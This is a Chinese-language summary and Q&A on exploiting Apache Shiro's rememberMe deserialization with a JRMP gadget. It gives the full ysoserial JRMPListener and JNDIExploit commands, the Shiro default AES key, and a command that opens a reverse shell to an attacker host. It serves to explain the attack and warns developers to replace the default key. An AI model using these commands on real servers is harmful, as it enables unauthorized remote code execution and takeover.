shiro-JRMP-gadget
内容提要
本文演示了利用Shiro框架的JRMP gadget进行攻击的完整流程,包括启动JRMPListener、使用JNDIExploit工具、修改脚本生成rememberMe cookie并发送请求,以及最终实现反弹shell的方法。内容涉及安全漏洞利用技术,属于网络安全领域的攻击演示。
延伸解读
攻击链核心:JRMP与JNDI的配合
该攻击流程的关键在于利用ysoserial的JRMPListener开启一个恶意的JRMP服务,再通过JNDIExploit提供LDAP服务,最终触发目标应用反序列化漏洞。攻击者需要同时控制两个服务,并确保目标环境能够访问这些服务,因此网络可达性是攻击成功的前提。
Shiro默认密钥的风险
脚本中硬编码的密钥(4AvVhmFLUs0KTA3Kprsdag==)是Shiro框架的默认密钥,若开发者未修改,攻击者可直接构造有效的rememberMe Cookie。这提醒使用Shiro的开发者必须更换默认密钥,并定期审查密钥配置,避免因默认值导致的安全隐患。
工具与环境的兼容性
文中提到某些环境使用Burp发包可能存在问题,建议编写脚本发送请求。这反映了攻击工具在实际环境中的兼容性差异,攻击者需根据目标环境调整发包方式。同时,攻击流程依赖特定版本的ysoserial和JNDIExploit,版本差异可能影响攻击成功率。
Q&A
Shiro框架的JRMP gadget攻击流程是什么?
攻击流程包括:1. 启动JRMPListener监听端口,使用ysoserial生成恶意对象;2. 启动JNDIExploit工具提供LDAP服务;3. 修改脚本中的key和主机IP端口,生成rememberMe cookie;4. 发送包含恶意cookie的HTTP请求;5. 实现反弹shell。
如何利用ysoserial启动JRMPListener?
使用命令:java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 8088 CommonsBeanutils2 "ldap://ip:1389/Basic/Command/Whoami",其中8088是监听端口,CommonsBeanutils2是gadget,后面是LDAP地址。
JNDIExploit工具在攻击中起什么作用?
JNDIExploit工具用于启动LDAP服务,为JRMPListener提供恶意引用,从而将攻击载荷传递给目标。
如何生成Shiro的rememberMe cookie?
使用Python脚本,通过AES加密ysoserial生成的JRMPClient payload,密钥为硬编码的base64 key,IV随机生成,最终输出base64编码的cookie。
攻击中使用的Shiro默认密钥是什么?
默认密钥是base64编码的"4AvVhmFLUs0KTA3Kprsdag==",用于AES加密rememberMe cookie。
如何实现反弹shell?
使用命令:java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 8088 CommonsBeanutils2 "ldap://{ip}:{port}/Basic/ReverseShell/{ip}/{port}",其中ip和port替换为攻击者主机和监听端口。
发送rememberMe cookie时需要注意什么?
某些环境使用Burp可能存在问题,建议编写脚本发送HTTP请求,确保cookie正确传递。